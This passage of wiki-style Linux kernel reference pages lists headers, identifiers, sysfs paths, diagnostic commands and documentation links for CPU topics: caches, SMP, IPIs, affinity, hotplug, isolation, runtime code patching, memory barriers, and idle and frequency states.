: [https://manpages.ubuntu.com/manpages/jammy/man1/rdmsr.1.html rdmsr] &amp;ndash; tool for reading CPU machine specific registers (MSR)
: {{The Linux Kernel/man|1|lscpu}} &amp;ndash; display information about the CPU architecture

: {{The Linux Kernel/include|linux/arch_topology.h}} &amp;ndash; arch specific cpu topology information 
: {{The Linux Kernel/include|linux/cpu.h}} &amp;ndash; generic cpu definition 
: {{The Linux Kernel/include|linux/cpu_cooling.h}} 
: {{The Linux Kernel/include|linux/cpu_pm.h}} 
: {{The Linux Kernel/include|linux/cpufeature.h}}
: {{The Linux Kernel/source|arch/x86/include/asm/cpufeature.h}} &amp;ndash; x86 CPU feature detection
: {{The Linux Kernel/include|linux/peci-cpu.h}} 
: {{The Linux Kernel/include|linux/sched/cputime.h}} &amp;ndash; cputime accounting APIs
: {{The Linux Kernel/include|linux/clk.h}} &amp;ndash; interfaces for managing hardware clocks in device drivers


⚙️ Internals

: {{The Linux Kernel/source|drivers/base/cpu.c}} &amp;ndash; CPU driver model subsystem
:: {{The Linux Kernel/id|cpu_dev_init}}


=== Cache ===

: {{The Linux Kernel/include|linux/cacheflush.h}}
:: {{The Linux Kernel/source|arch/x86/include/asm/cacheflush.h}}: {{The Linux Kernel/id|clflush_cache_range}}
: {{The Linux Kernel/include|linux/cache.h}} &amp;ndash; cache line alignment macros
:: {{The Linux Kernel/id|____cacheline_aligned}} &amp;ndash; align to cache line boundary to avoid false sharing
:: {{The Linux Kernel/id|__cacheline_aligned}} &amp;ndash; same, plus place in .data..cacheline_aligned section
:: {{The Linux Kernel/id|____cacheline_aligned_in_smp}} &amp;ndash; same, but no-op on uniprocessor builds
:: {{The Linux Kernel/id|__read_mostly}} &amp;ndash; place in a cache-friendly section for rarely written data
:: {{The Linux Kernel/id|__ro_after_init}} &amp;ndash; writable during init, read-only after boot (security hardening)
:: {{The Linux Kernel/id|DEFINE_PER_CPU_CACHE_HOT}} &amp;ndash; per-CPU variable in .data..hot section, used for {{The Linux Kernel/id|current_task}}, {{The Linux Kernel/id|__preempt_count}}
:: {{The Linux Kernel/id|L1_CACHE_BYTES}}, {{The Linux Kernel/id|SMP_CACHE_BYTES}} &amp;ndash; 64 bytes typically
:: {{The Linux Kernel/source|arch/x86/include/asm/cache.h}} &amp;ndash; x86 cache line size definitions

🔨 [https://manpages.ubuntu.com/manpages/resolute/man1/stress-ng.1.html#:~:text=%2D%2Dcache stress-ng --cache]

⚙️ Internals

: {{The Linux Kernel/source|arch/x86/mm/pat/set_memory.c}} &amp;ndash; page attribute table memory type control
: {{The Linux Kernel/source|arch/x86/kernel/cpu/mtrr/}} &amp;ndash; memory type range register driver

📚 Further reading
: MTRR &amp;ndash; {{w|Memory type range register}}
: {{w|CPU cache}}

=== {{w|Symmetric_multiprocessing|SMP}} ===

This chapter is about multiprocessing and {{w|Multi-core processor|multi-core}} aspects of Linux kernel.

Key concepts and features of Linux SMP include:
* Symmetry: In an SMP system, all processors are considered the same without hardware hierarchy in contradiction to use of {{w|coprocessor}}s.
* Load balancing: The Linux kernel employs load balancing mechanisms to distribute tasks evenly among available CPU cores. This prevents any one core from becoming overwhelmed while others remain underutilized.
* Parallelism: SMP enables parallel processing, where multiple threads or processes can execute simultaneously on different CPU cores. This can significantly improve the execution speed of applications that are designed to take advantage of multiple threads.
* Thread scheduling: The Linux kernel scheduler is responsible for determining which threads or processes run on which CPU cores and for how long. It aims to optimize performance by minimizing contention and maximizing CPU utilization.
* Shared memory: In an SMP system, all CPU cores typically share the same physical memory space. This allows processes and threads running on different cores to communicate and share data more efficiently.
* NUMA &amp;ndash; {{w|Non-Uniform Memory Access}}: In larger SMP systems, memory access times might not be uniform due to the physical arrangement of memory banks and processors. Linux has mechanisms to handle NUMA architectures efficiently, allowing processes to be scheduled on CPUs closer to their associated memory.
* Cache coherency: SMP systems require mechanisms to ensure that all CPU cores have consistent views of memory. Cache coherency protocols ensure that changes made to shared memory locations are correctly propagated to all cores.
* Scalability: SMP systems can be scaled up to include more CPU cores, enhancing the overall computing power of the system. However, as the number of cores increases, challenges related to memory access, contention, and communication between cores may arise.
* Kernel and user space: Linux applications running in user space can take advantage of SMP without needing to be aware of the underlying hardware details. The kernel handles the management of CPU cores and resource allocation.


⚲ API
: &lt;code&gt;ps -PLe&lt;/code&gt; &amp;ndash; lists threads with processor that the thread last executed on (the third column PSR).
: {{The Linux Kernel/man|2|getcpu}} &amp;ndash; determine CPU and NUMA node on which the calling thread is running
: {{The Linux Kernel/man|8|chcpu}} &amp;ndash; configure CPUs
: {{The Linux Kernel/man|3|CPU_SET}} &amp;ndash; macros for manipulating CPU sets
: {{The Linux Kernel/include|linux/smp.h}}
:: The most commonly used functions:
:: {{The Linux Kernel/id|crash_smp_send_stop}} – halts all CPUs except the calling one in a crash context
:: {{The Linux Kernel/id|get_cpu}} – disables preemption and returns the current processor ID
:: {{The Linux Kernel/id|panic_smp_self_stop}} – stops the local CPU during a panic while ensuring others halt
:: {{The Linux Kernel/id|put_cpu}} – re-enables preemption after a previous get_cpu call
:: {{The Linux Kernel/id|raw_smp_processor_id}} – returns the current CPU ID without preemption safety
:: {{The Linux Kernel/id|setup_max_cpus}} – sets up the maximum number of CPUs to be brought online
:: {{The Linux Kernel/id|smp_init}} – initializes core SMP structures and state during boot
:: {{The Linux Kernel/id|smp_prepare_boot_cpu}} – prepares the boot CPU during early SMP initialization
:: {{The Linux Kernel/id|smp_prepare_cpus}} – prepares all CPUs for booting before secondary CPUs are started
:: {{The Linux Kernel/id|smp_processor_id}} – returns the ID of the current CPU with preemption checks
:: {{The Linux Kernel/id|smp_send_stop}} – stops all other CPUs in response to critical events
:: {{The Linux Kernel/id|wake_up_all_idle_cpus}} – wakes all idle CPUs to ensure prompt task execution
: {{The Linux Kernel/include|linux/cpu.h}}
: {{The Linux Kernel/include|linux/group_cpus.h}}: {{The Linux Kernel/id|group_cpus_evenly}} &amp;ndash; groups all CPUs evenly per NUMA/CPU locality
: {{The Linux Kernel/include|asm-generic/percpu.h}}
: {{The Linux Kernel/include|linux/percpu-defs.h}} &amp;ndash; basic definitions for percpu areas
:: {{The Linux Kernel/id|this_cpu_ptr}}
: {{The Linux Kernel/include|linux/percpu.h}} 
: {{The Linux Kernel/include|linux/percpu-refcount.h}} 
: {{The Linux Kernel/include|linux/percpu-rwsem.h}}
: {{The Linux Kernel/include|linux/preempt.h}}
:: {{The Linux Kernel/id|migrate_disable}}, {{The Linux Kernel/id|migrate_enable}}
: /sys/bus/cpu
: [[#per_CPU_local_lock|per CPU local_lock]]
: {{The Linux Kernel/include|linux/topology.h}} &amp;ndash; {{The Linux Kernel/id|cpu_to_node}}, {{The Linux Kernel/id|numa_node_id}}
: {{The Linux Kernel/source|arch/x86/include/asm/topology.h}} &amp;ndash; x86 NUMA and CPU topology
: See also [[../../Memory#NUMA|NUMA memory section]]


⚙️ Internals
: {{The Linux Kernel/id|boot_cpu_init}} activates the first CPU
: {{The Linux Kernel/id|smp_prepare_cpus}} initializes rest CPUs during boot
: {{The Linux Kernel/id|cpu_number}}
: {{The Linux Kernel/id|CONFIG_SMP}}
:: {{The Linux Kernel/id|CONFIG_NUMA}}
: {{The Linux Kernel/include|trace/events/percpu.h}}
: {{The Linux Kernel/file|drivers/base/cpu.c}} &amp;ndash; CPU driver model subsystem support
: {{The Linux Kernel/file|kernel/cpu.c}} &amp;ndash; CPU hotplug state machine
: smpboot
:: {{The Linux Kernel/include|linux/smpboot.h}}
:: {{The Linux Kernel/source|kernel/smpboot.c}} &amp;ndash; common SMP CPU bringup/teardown
:: {{The Linux Kernel/source|arch/x86/kernel/smpboot.c}} &amp;ndash; x86 SMP booting
: {{The Linux Kernel/source|lib/group_cpus.c}} &amp;ndash; distribute CPUs evenly across groups


🛠️ Utilities
: [https://man.archlinux.org/man/extra/irqbalance/irqbalance.1.en irqbalance] – distributes hardware interrupts across CPUs
: {{The Linux Kernel/man|8|numactl}} &amp;ndash; controls NUMA policy for processes or shared memory


📖 References
: {{The Linux Kernel/doc|Per-CPU Data|kernel-hacking/locking.html#per-cpu-data}}
: {{The Linux Kernel/doc|How CPU topology info is exported via sysfs|admin-guide/cputopology.html}}


📚 Further reading
: [https://access.redhat.com/documentation/en-us/red_hat_enterprise_linux/9/html/monitoring_and_managing_system_status_and_performance/customizing-tuned-profiles_monitoring-and-managing-system-status-and-performance#functionalities-of-the-scheduler-tuned-plug-in_customizing-tuned-profiles Functionalities of the scheduler TuneD plugin]
: [https://man.archlinux.org/man/tuned-adm.8 tuned-adm] &amp;ndash; command line tool for switching between different tuning profiles


==== {{w|Inter-processor interrupt|IPI}} ====

An inter-processor interrupt is a signal sent from one CPU to another to request an action such as rescheduling, TLB flush, or function execution.

⚲ API
: {{The Linux Kernel/id|smp_send_reschedule}} &amp;ndash; sends a reschedule IPI to a target CPU
: {{The Linux Kernel/id|smp_call_function}} &amp;ndash; invokes a function on all other CPUs via IPI
:: {{The Linux Kernel/id|smp_call_function_many}} &amp;ndash; on a specified set of CPUs
: {{The Linux Kernel/id|smp_call_function_single}} &amp;ndash; on a single target CPU
:: {{The Linux Kernel/id|smp_call_function_single_async}} &amp;ndash; asynchronous variant
: {{The Linux Kernel/id|smp_call_on_cpu}} &amp;ndash; execute on a specific CPU and wait for result
: {{The Linux Kernel/id|on_each_cpu}} &amp;ndash; run a function on all CPUs
:: {{The Linux Kernel/id|on_each_cpu_mask}} &amp;ndash; on a specified set of CPUs
:: {{The Linux Kernel/id|on_each_cpu_cond_mask}} &amp;ndash; conditionally on selected CPUs
: {{The Linux Kernel/id|smp_call_func_t}} &amp;ndash; callback typedef

⚙️ Internals
: {{The Linux Kernel/include|trace/events/ipi.h}}
: {{The Linux Kernel/file|kernel/irq/ipi.c}} &amp;ndash; generic IPI helpers
:: {{The Linux Kernel/id|ipi_send_single}}, {{The Linux Kernel/id|ipi_send_mask}}
: {{The Linux Kernel/source|arch/x86/kernel/apic/ipi.c}} &amp;ndash; x86 IPI via APIC
: {{The Linux Kernel/source|arch/x86/include/asm/irq_vectors.h}} &amp;ndash; x86 IPI vector types:
:: {{The Linux Kernel/id|RESCHEDULE_VECTOR}} &amp;ndash; used by {{The Linux Kernel/id|smp_send_reschedule}}
:: {{The Linux Kernel/id|CALL_FUNCTION_VECTOR}} &amp;ndash; used by {{The Linux Kernel/id|smp_call_function_many}}
:: {{The Linux Kernel/id|CALL_FUNCTION_SINGLE_VECTOR}} &amp;ndash; used by {{The Linux Kernel/id|smp_call_function_single}}
:: {{The Linux Kernel/id|IRQ_WORK_VECTOR}} &amp;ndash; used by {{The Linux Kernel/id|irq_work_queue}}, see [[#Interrupt_context|Interrupt context]]
:: {{The Linux Kernel/id|NMI_VECTOR}} &amp;ndash; used by watchdog, {{The Linux Kernel/id|crash_smp_send_stop}}

==== CPU affinity ====

Affinity refers to assigning a process or thread to specific CPU cores.
This helps control which CPUs execute tasks, potentially improving performance by reducing data movement between cores.
It can be managed using system calls or commands.
Affinity can be represented as CPU bitmask: {{The Linux Kernel/id|cpumask_t}} or CPU affinity list: {{The Linux Kernel/id|cpulist_parse}}.


⚲ API
: {{The Linux Kernel/man|1|taskset}} &amp;ndash; set or retrieve a process's CPU affinity
: grep Cpus_allowed /proc/self/status
: {{The Linux Kernel/man|2|sched_setaffinity}} {{The Linux Kernel/man|2|sched_getaffinity}} &amp;ndash; set and get a thread's CPU affinity mask
:: ↪ {{The Linux Kernel/id|sched_setaffinity}}
: {{The Linux Kernel/id|set_cpus_allowed_ptr}} &amp;ndash; common kernel function to change a task's affinity mask
: {{The Linux Kernel/include|linux/cpu_rmap.h}} &amp;ndash; CPU affinity reverse-map support
: {{The Linux Kernel/include|linux/cpumask_types.h}}
:: struct cpumask, {{The Linux Kernel/id|cpumask_t}} &amp;ndash; CPUs bitmap, can be very big
:: {{The Linux Kernel/id|cpumask_var_t}} &amp;ndash; type for local cpumask variable, see {{The Linux Kernel/id|alloc_cpumask_var}}, {{The Linux Kernel/id|free_cpumask_var}}.
: {{The Linux Kernel/include|linux/cpumask.h}} &amp;ndash; Cpumasks provide a bitmap suitable for representing the set of CPU's in a system, one bit position per CPU number
:: {{The Linux Kernel/id|for_each_possible_cpu}}
:: {{The Linux Kernel/id|num_online_cpus}}
:: {{The Linux Kernel/id|cpumask_set_cpu}}
:: {{The Linux Kernel/id|cpumask_test_cpu}}
:: {{The Linux Kernel/id|for_each_cpu}}


⚙️ Internals
: {{The Linux Kernel/id|cpus_mask}} &amp;ndash; affinity of {{The Linux Kernel/id|task_struct}}
: {{The Linux Kernel/id|cpus_allowed}} &amp;ndash; affinity of {{The Linux Kernel/id|cpuset}}


📚 Further reading
: {{w|Processor affinity}}
: {{w|Affinity mask}}

==== CPU hotplug ====

CPU hotplugging in Linux refers to the ability to dynamically add or remove CPUs from the system without needing a reboot.
This feature is crucial in environments requiring high availability and resource flexibility, such as data centers, virtualized systems, and systems that use power management aggressively.


🗝️ Acronyms
: BP &amp;ndash; Bootstrap Processor
: AP &amp;ndash; Application Processor


⚲ API
: /sys/devices/system/cpu/cpu*/online
: /sys/devices/system/cpu/cpu*/hotplug/
: {{The Linux Kernel/include|linux/cpu.h}}
:: {{The Linux Kernel/id|add_cpu}} ...
: {{The Linux Kernel/include|linux/cpuhotplug.h}}
:: {{The Linux Kernel/id|cpuhp_state}} &amp;ndash; CPU hotplug states 
:: {{The Linux Kernel/id|cpuhp_setup_state}} ... &amp;ndash; setups hotplug state callbacks
::: {{The Linux Kernel/id|cpuhp_setup_state_multi}}
::: {{The Linux Kernel/id|cpuhp_setup_state_nocalls}}
: {{The Linux Kernel/include|linux/cpuhplock.h}} &amp;ndash; CPU hotplug locking
:: {{The Linux Kernel/id|cpus_read_lock}} ...
:: {{The Linux Kernel/id|remove_cpu}} ...


⚙️ Internals
: {{The Linux Kernel/source|kernel/cpu.c}} &amp;ndash; CPU hotplug state machine
:: {{The Linux Kernel/id|cpuhp_state}} &amp;ndash; from CPUHP_OFFLINE to CPUHP_AP_ACTIVE and CPUHP_ONLINE.
:: {{The Linux Kernel/id|cpuhp_hp_states}}
:: {{The Linux Kernel/id|boot_cpu_hotplug_init}}
:: {{The Linux Kernel/id|cpuhp_threads_init}}
:: ... {{The Linux Kernel/id|cpuhp_invoke_callback_range}} ...
: {{The Linux Kernel/source|kernel/irq/cpuhotplug.c}} &amp;ndash; IRQ migration on CPU hotunplug
: {{The Linux Kernel/source|drivers/base/cpu.c}} &amp;ndash; CPU subsystem support
:: {{The Linux Kernel/id|cpu_dev_init}}
::: ... {{The Linux Kernel/id|cpu_subsys_online}}
: {{The Linux Kernel/include|trace/events/cpuhp.h}}
: {{The Linux Kernel/include|linux/cpuhplock.h}}


👁️ Examples
: {{The Linux Kernel/id|torture_onoff}}
: {{The Linux Kernel/source|tools/testing/selftests/sched_ext/hotplug.c}} &amp;ndash; sched_ext CPU hotplug test


📖 References
: {{The Linux Kernel/doc|CPU hotplug in the Kernel|core-api/cpu_hotplug.html}}
:: {{The Linux Kernel/doc|Introduction|core-api/cpu_hotplug.html#introduction}} 
:: {{The Linux Kernel/doc|Command Line Switches|core-api/cpu_hotplug.html#command-line-switches}} 
:: {{The Linux Kernel/doc|CPU maps|core-api/cpu_hotplug.html#cpu-maps}} 
:: {{The Linux Kernel/doc|Using CPU hotplug|core-api/cpu_hotplug.html#using-cpu-hotplug}} 
:: {{The Linux Kernel/doc|The CPU hotplug coordination|core-api/cpu_hotplug.html#the-cpu-hotplug-coordination}} 
:: {{The Linux Kernel/doc|The CPU hotplug API|core-api/cpu_hotplug.html#the-cpu-hotplug-api}} 
::: {{The Linux Kernel/doc|CPU hotplug state machine|core-api/cpu_hotplug.html#cpu-hotplug-state-machine}} 
::: {{The Linux Kernel/doc|CPU online/offline operations|core-api/cpu_hotplug.html#cpu-online-offline-operations}} 
::: {{The Linux Kernel/doc|Allocating a state|core-api/cpu_hotplug.html#allocating-a-state}} 
::: {{The Linux Kernel/doc|Setup of a CPU hotplug state|core-api/cpu_hotplug.html#setup-of-a-cpu-hotplug-state}} 
::: {{The Linux Kernel/doc|Removal of a CPU hotplug state|core-api/cpu_hotplug.html#removal-of-a-cpu-hotplug-state}} 
::: {{The Linux Kernel/doc|Multi-Instance state instance management|core-api/cpu_hotplug.html#multi-instance-state-instance-management}} 
::: {{The Linux Kernel/doc|Examples|core-api/cpu_hotplug.html#examples}} 
:: {{The Linux Kernel/doc|Testing of hotplug states|core-api/cpu_hotplug.html#testing-of-hotplug-states}} 
:: {{The Linux Kernel/doc|Architecture’s requirements|core-api/cpu_hotplug.html#architecture-s-requirements}} 
:: {{The Linux Kernel/doc|User Space Notification|core-api/cpu_hotplug.html#user-space-notification}} 
:: {{The Linux Kernel/doc|Kernel Inline Documentations Reference|core-api/cpu_hotplug.html#kernel-inline-documentations-reference}}
 

🔨 [https://manpages.ubuntu.com/manpages/resolute/man1/stress-ng.1.html#:~:text=%2D%2Dcpu%2Donline stress-ng --cpu-online]

📚 Further reading
: {{The Linux Kernel/id|CONFIG_CPU_HOTPLUG_STATE_CONTROL}} &amp;ndash; enables the ability to write incremental steps between &quot;offline&quot; and &quot;online&quot; states to the CPU's sysfs target file, allowing for more granular control of state transitions.
:: {{The Linux Kernel/id|target_store}}: {{The Linux Kernel/id|cpu_up}}/{{The Linux Kernel/id|cpu_down}}
: [https://lore.kernel.org/lkml/?q=cpuhotplug+OR+cpuhp cpuhotplug, cpuhp @LKML]

==== CPU isolation ====

CPU isolation ensures that specific tasks run on dedicated CPUs, reducing contention and latency.

'''Housekeeping''' CPUs refer to the CPUs that are reserved for various '''system''' tasks. See {{The Linux Kernel/id|hk_type}}.

'''Isolated''' CPUs are dedicated to '''real-time''' applications, such as DPDK.

⚲ API
: /sys/devices/system/cpu/isolated
: /sys/devices/system/cpu/nohz_full
: [https://docs.kernel.org/admin-guide/cgroup-v2.html#:~:text=cpuset.cpus.isolated /sys/fs/cgroup/cpuset.cpus.isolated]
: [https://docs.kernel.org/admin-guide/cgroup-v2.html#:~:text=Partition%20root%20without%20load%20balancing /sys/fs/cgroup/.../cpuset.cpus.partition]
: {{The Linux Kernel/include|linux/sched/isolation.h}}
:: {{The Linux Kernel/id|hk_type}} &amp;ndash; housekeeping type
:: {{The Linux Kernel/id|housekeeping_cpumask}} &amp;ndash; returns CPUs available for housekeeping of a given type
:: {{The Linux Kernel/id|cpu_is_isolated}}
: {{The Linux Kernel/include|linux/cpuset.h}} &amp;ndash; cpuset interface
: {{The Linux Kernel/man|7|cpuset}} &amp;ndash; confine processes to processor and memory node subsets


⚙️ Internals
: {{The Linux Kernel/id|CONFIG_CPU_ISOLATION}}
:: {{The Linux Kernel/source|kernel/sched/isolation.c}} &amp;ndash; housekeeping CPU management
::: {{The Linux Kernel/id|housekeeping_init}}, {{The Linux Kernel/id|housekeeping_update}}
: {{The Linux Kernel/id|CONFIG_CPUSETS}}
:: {{The Linux Kernel/source|kernel/cgroup/cpuset.c}} &amp;ndash; cpuset cgroup controller
::: {{The Linux Kernel/id|cpuset_init}}
::: {{The Linux Kernel/id|cpuset_init_smp}}
::: {{The Linux Kernel/id|isolated_cpus}}
::: {{The Linux Kernel/id|partition_xcpus_add}}, {{The Linux Kernel/id|partition_xcpus_del}}


📖 References
: {{The Linux Kernel/doc|CPU lists in command-line parameters|admin-guide/kernel-parameters.html#cpu-lists}}
:: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=nohz_full= '''nohz_full'''] clears housekeeping.{{The Linux Kernel/id|cpumasks}} for tick, wq, timer, rcu, misc, and kthread in {{The Linux Kernel/id|housekeeping_nohz_full_setup}}
:: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=isolcpus '''isolcpus'''] clears housekeeping.{{The Linux Kernel/id|cpumasks}} for [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=domain%20isolation domain] (by default), [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=nohz nohz], and [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=managed_irq managed_irq] in {{The Linux Kernel/id|housekeeping_isolcpus_setup}}
: {{The Linux Kernel/doc|Housekeeping|core-api/housekeeping.html}}
: {{The Linux Kernel/doc|NO_HZ: Reducing Scheduling-Clock Ticks|timers/no_hz.html}}
: {{The Linux Kernel/doc|CPUSETS of cgroup v2|admin-guide/cgroup-v2.html#cpuset}}
: {{The Linux Kernel/doc|CPUSETS of cgroup v1|admin-guide/cgroup-v1/cpusets.html}}


📚 Further reading
: [https://www.youtube.com/watch?v=1lomUhSS82s CPU Isolation state of the art, LPC'23]
: [https://lpc.events/event/19/contributions/2219/ CPU Isolation and IPI interference, LPC'25]
: [https://www.suse.com/c/cpu-isolation-introduction-part-1/ CPU Isolation]
: [https://lore.kernel.org/lkml/?q=isolcpus isolcpus @LKML]
: [https://lore.kernel.org/lkml/?q=housekeeping housekeeping @LKML]
: [https://kubernetes.io/docs/tasks/administer-cluster/reserve-compute-resources/#explicitly-reserved-cpu-list Explicitly Reserved CPU List, Kubernetes Documentation]
: [https://wiki.linuxfoundation.org/realtime/documentation/howto/tools/cpu-partitioning/start CPU Partitioning]
: {{The Linux Kernel/doc|Scheduler Domains|scheduler/sched-domains.html}} &amp;ndash; the Scheduler balances CPUs (scheduling groups) within a sched domain
: [https://lore.kernel.org/lkml/?q=nohz_full nohz_full @LKML]

💾 Historical since v7.0
: {{The Linux Kernel/id|cpuset_cpu_is_isolated}} &amp;ndash; removed, use {{The Linux Kernel/id|cpu_is_isolated}} instead

=== Runtime code patching ===

The kernel patches its own machine code at boot or runtime to optimize hot paths.
Static keys patch a {{w|NOP_(code)|NOP}} to a jump (or vice versa); static calls patch indirect calls to direct calls; alternatives replace instructions based on CPU features.

⚲ API
: {{The Linux Kernel/include|linux/jump_label.h}} &amp;ndash; static keys
:: {{The Linux Kernel/id|DEFINE_STATIC_KEY_FALSE}} &amp;ndash; define a key, initially false
:: {{The Linux Kernel/id|static_branch_unlikely}} &amp;ndash; zero-cost branch check (NOP when key is false)
:: {{The Linux Kernel/id|static_branch_enable}} &amp;ndash; patch all sites to take the branch (expensive, rare use)
: {{The Linux Kernel/include|linux/static_call.h}} &amp;ndash; static calls
:: {{The Linux Kernel/id|DEFINE_STATIC_CALL}} &amp;ndash; define a call site with initial target function
:: {{The Linux Kernel/id|static_call}} &amp;ndash; invoke the patched direct call
:: {{The Linux Kernel/id|static_call_update}} &amp;ndash; change target function, patch all sites
: {{The Linux Kernel/source|arch/x86/include/asm/alternative.h}} &amp;ndash; alternatives
:: {{The Linux Kernel/id|ALTERNATIVE}} &amp;ndash; replace instructions at boot based on CPU features
:: {{The Linux Kernel/source|arch/x86/include/asm/cpufeatures.h}} &amp;ndash; X86_FEATURE_* flags


⚙️ Internals
: {{The Linux Kernel/id|CONFIG_JUMP_LABEL}}
:: {{The Linux Kernel/source|kernel/jump_label.c}} &amp;ndash; static key patching core
:: {{The Linux Kernel/source|arch/x86/kernel/jump_label.c}} &amp;ndash; x86 static key patching
: {{The Linux Kernel/id|CONFIG_HAVE_STATIC_CALL}}
:: {{The Linux Kernel/source|kernel/static_call_inline.c}} &amp;ndash; static call core
:: {{The Linux Kernel/source|arch/x86/kernel/static_call.c}} &amp;ndash; x86 static call patching
: {{The Linux Kernel/source|arch/x86/include/asm/alternative.h}} &amp;ndash; runtime instruction patching
:: {{The Linux Kernel/source|arch/x86/kernel/alternative.c}} &amp;ndash; x86 alternatives engine
::: {{The Linux Kernel/id|smp_text_poke_single}} &amp;ndash; safely patch code on SMP using INT3 breakpoints; used by static keys, static calls, ftrace, kprobes
:::: {{The Linux Kernel/id|smp_text_poke_batch_add}}
:::: {{The Linux Kernel/id|smp_text_poke_batch_finish}}


👁 Examples
: {{The Linux Kernel/id|housekeeping_overridden}}
: {{The Linux Kernel/id|preempt_schedule}}
: tracepoints


📖 References
: {{The Linux Kernel/doc|Static Keys|staging/static-keys.html}}
: {{The Linux Kernel/doc|x86 CPU feature flags|arch/x86/cpuinfo.html}}


=== {{w|Memory barrier}}s ===

Memory barriers (MB) are synchronization mechanisms used to ensure proper ordering of memory operations in a SMP environment.
They play a crucial role in maintaining the consistency and correctness of data shared among different CPU cores or processors.
MBs prevent unexpected and potentially harmful reordering of memory access instructions by the compiler or CPU, which can lead to data corruption and race conditions in a concurrent software system.

⚲ API
: {{The Linux Kernel/man|2|membarrier}}
: {{The Linux Kernel/include|asm-generic/barrier.h}}
:: {{The Linux Kernel/id|mb}}, {{The Linux Kernel/id|rmb}}, {{The Linux Kernel/id|wmb}}
:: {{The Linux Kernel/id|smp_mb}}, {{The Linux Kernel/id|smp_rmb}}, {{The Linux Kernel/id|smp_wmb}}


⚙️ Internals

: {{The Linux Kernel/source|arch/x86/include/asm/barrier.h}} &amp;ndash; x86 memory barrier instructions
: {{The Linux Kernel/source|kernel/sched/membarrier.c}} &amp;ndash; membarrier system call


📖 References
: {{The Linux Kernel/doc|Memory barriers|core-api/wrappers/memory-barriers.html}}


=== States ===

C-states and P-states are features in modern CPUs designed to improve energy efficiency.

🗝️ Acronyms
: [https://uefi.org/htmlspecs/ACPI_Spec_6_4_html/08_Processor_Configuration_and_Control/processor-power-states.html C-states] &amp;ndash; CPU(?) states, aka idle states
: EPP &amp;ndash; {{The Linux Kernel/doc|Energy Performance Preference|admin-guide/pm/amd-pstate.html#energy-performance-preference-epp-rw}}
: HWP &amp;ndash; hardware-managed P-states, see [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=hwp_only hwp_only]
: [https://www.intel.com/content/www/us/en/docs/socwatch/user-guide/2020/p-state.html P-states] &amp;ndash; Performance states, see CPU Power and frequency scaling


⚲ API
: [https://linux.die.net/man/1/cpupower cpupower]


📖 References
: {{The Linux Kernel/doc|Working-State Power Management|admin-guide/pm/working-state.html}}
: https://lwn.net/Kernel/Index/#Power_management


==== Idle ====


C-states, {{w|ACPI#Processor_states|power states}}:
: C0 – operating, executing instructions.
: C1 (Halt) – internal {{w|Clock gating|clocks stopped}}.
: C1E (Enhanced Halt) – clocks stopped, voltage and frequency reduced.
: C2 (Stop-Clock) – internal and external {{w|Clock gating|clocks stopped}}.
: C3 (Deep Sleep) – clocks stopped, L1/L2 cache may flush, local APIC timer stops, requiring [[#Clock_infrastructure|tick broadcast]].
: C4 (Deeper Sleep) – voltage reduced.
: C6 (Deep Power Down) – state saved to SRAM, voltage can drop to 0V.
: C7 (Deeper Power Down) – C6 + L3 cache flushed.
: Modern Intel typically uses C1/C1E and C6, skipping C2–C5.
: ⚠️ ACPI state names (C1_ACPI, C2_ACPI, C3_ACPI) may not match actual hardware C-states. The [https://www.felixcloutier.com/x86/monitor:mwait MWAIT] hint reveals the real state: e.g. MWAIT 0x60 = hardware C6 may appear as &quot;C3_ACPI&quot;.


⚲ API
: turbostat --show CPU --quiet -n 1 --interval 0.1 --show sysfs
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=idle= idle=]
: /dev/cpu_dma_latency &amp;ndash; see {{The Linux Kernel/id|set_cpu_dma_latency}}
: C-states interfaces:
:: cpupower idle-info – show driver, governor, states with latency and residency
:: /sys/devices/system/cpu/cpuidle/
:: /sys/devices/system/cpu/cpu*/cpuidle/
::: cat /sys/devices/system/cpu/cpu0/cpuidle/state*/name – list available C-states
:: {{The Linux Kernel/include|linux/cpuidle.h}} – generic framework for CPU idle power management
: {{The Linux Kernel/include|linux/pm_qos.h}}


⚙️ Internals
: {{The Linux Kernel/source|drivers/cpuidle}} – CPU idle governors and drivers
: {{The Linux Kernel/source|drivers/idle/intel_idle.c}} – {{The Linux Kernel/doc|intel_idle|admin-guide/pm/intel_idle.html}}, hardcoded C-states per CPU model, modern Intel (C1/C1E/C6)
: {{The Linux Kernel/source|drivers/acpi/processor_idle.c}} – acpi_idle, reads C-states from ACPI tables, generic fallback (C1/C2/C3)
: {{The Linux Kernel/source|kernel/power/qos.c}} – PM quality of service
:: {{The Linux Kernel/id|cpu_latency_qos_miscdev}} – implementation of /dev/cpu_dma_latency


📖 References
:: {{The Linux Kernel/doc|CPU Idle Time Management|admin-guide/pm/cpuidle.html}}
: [https://www.intel.com/content/www/us/en/support/articles/000006619/processors/intel-core-processors.html Intel C-states reference]
: [https://support.hpe.com/hpesc/public/docDisplay?docId=sd00002067en_us&amp;page=GUID-855C475E-F9F9-460D-9475-B96DD982B587.html HPE C-states reference]


📚 Further reading
:: https://lwn.net/Kernel/Index/#Power_management-cpuidle
: {{The Linux Kernel/doc|PM Quality Of Service Interface|power/pm_qos_interface.html}}

==== Power and frequency ====


P-states, {{w|ACPI#Performance_state|performance states}}:
: P0 &amp;ndash; maximum power and frequency
: Pn &amp;ndash; less power and frequency
: ...


⚲ API
: Reliable measurement of actual CPU frequency
:: [https://manpages.debian.org/testing/linux-cpupower/turbostat.8.en.html turbostat] --quiet --show CPU,Bzy_MHz -n 1 --interval 0.1
::: Bzy_MHz &amp;ndash; average clock rate while the CPU was not idle (ie. in &quot;c0&quot; state).
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=intel_pstate intel_pstate=]
:: {{The Linux Kernel/doc|Kernel Command Line Options for intel_pstate|admin-guide/pm/intel_pstate.html#kernel-command-line-options-for-intel-pstate}}
: [https://www.kernel.org/doc/Documentation/admin-guide/kernel-parameters.txt#:~:text=cpufreq.default_governor cpufreq.default_governor=]
: P-states interfaces:
:: /sys/devices/system/cpu/cpufreq/
:: /sys/devices/system/cpu/cpu*/cpufreq/
::: scaling_cur_freq &amp;ndash; unreliable assumption on CPU frequency
